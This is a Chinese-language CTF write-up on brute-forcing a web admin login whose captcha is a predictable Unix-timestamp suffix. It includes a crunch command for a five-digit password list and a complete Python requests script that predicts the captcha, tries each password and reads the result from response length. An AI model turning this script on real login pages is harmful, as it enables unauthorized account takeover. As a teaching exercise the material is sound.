从一道ctf题说起,如何利用Python对有验证码的网站后台的账号密码进行爆破
题目提示:
这破网站,连个验证码保护机制都没得,幸好我学过一点php,不然站被黑客黑了找谁哭去QAQ
我竟然想到了用时间戳当验证码,你们说我是不是个天才(自恋中.....)
网站后台用户名为admin,密码为5位数字。
验证码如下图:
解题思路:生成时间戳验证码,生成密码字典进行爆破。
难点:
1、怎么确保验证码和用户名、密码对应
2、怎么生成五位数密码
具体做法:
1、经分析验证码是时间戳的后五位,利用python的time模块生成验证码
import time
s =int(time.time())
vscode =str(s)[5:10]
2、生成密码字典
利用kali自带的工具crunch,生成5位纯数字密码字典passwd-dict.txt,以后再补充crunch的使用教程
crunch 5 5 0123456789 -o passwd-dict.txt
3、验证码和用户名、密码对应
使用python的requests模块的session方法,确保请求验证码和输入的账号密码对应同一个session
import requests
ss=requests.session()
首先GET请求验证码生成页面,再利用生成的验证码和账号密码POST提交验证
with open(r'passwd-dict.txt','r') as f:
password=f.readlines()
for pwd in password:
pwd=pwd.strip('\n')
res1 = ss.get(vscodeurl)
s = int(time.time())
vscode = str(s)[5:10]
data={'username':'admin','password':pwd,'verifycode':vscode,'submit':''}
res=ss.post(url=url,headers=headers,data=data,timeout=10,proxies=proxies, verify=False)
4、通过返回页面的长度,判断密码是否正确
len(res.content)==75 #验证码错误
len(res.content)==84 #密码错误
仅供参考,完整代码如下 :
备注:我使用了burpsuite监控执行情况,不使用burpsuite的要删除或注释有关代理的代码
import requests
import time
ss=requests.session()
vscodeurl='http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/verifycode.php'
proxies={'http':'http://127.0.0.1:5080','https':'https://127.0.0.1:5080'}
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400'}
url="http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.php"
vscode=''
with open(r'passwd-dict.txt','r') as f:
password=f.readlines()
for pwd in password:
pwd=pwd.strip('\n')
time.sleep(1)
data={'username':'admin','password':pwd,'verifycode':vscode,'submit':''}
res=ss.post(url=url,headers=headers,data=data,timeout=10,proxies=proxies, verify=False)
result="password is %s,length is %s" %(pwd,str(len(res.content)))
while len(res.content)==75: #验证码错误
ssres2 = ss.get(vscodeurl)
s = int(time.time())
vscode = str(s)[5:10]
data = {'username': 'admin', 'password': pwd, 'verifycode': vscode, 'submit': ''}
res = ss.post(url=url, headers=headers, data=data, timeout=10, proxies=proxies, verify=False)
result = "password is %s,length is %s" % (pwd, str(len(res.content)))
else:
if len(res.content)!=84: #如果不是验证码错误和密码错误
print('\t\t\t\t\t\t\t\t'+result)
print(result)
ssres2 = ss.get(vscodeurl)
s = int(time.time())
vscode = str(s)[5:10]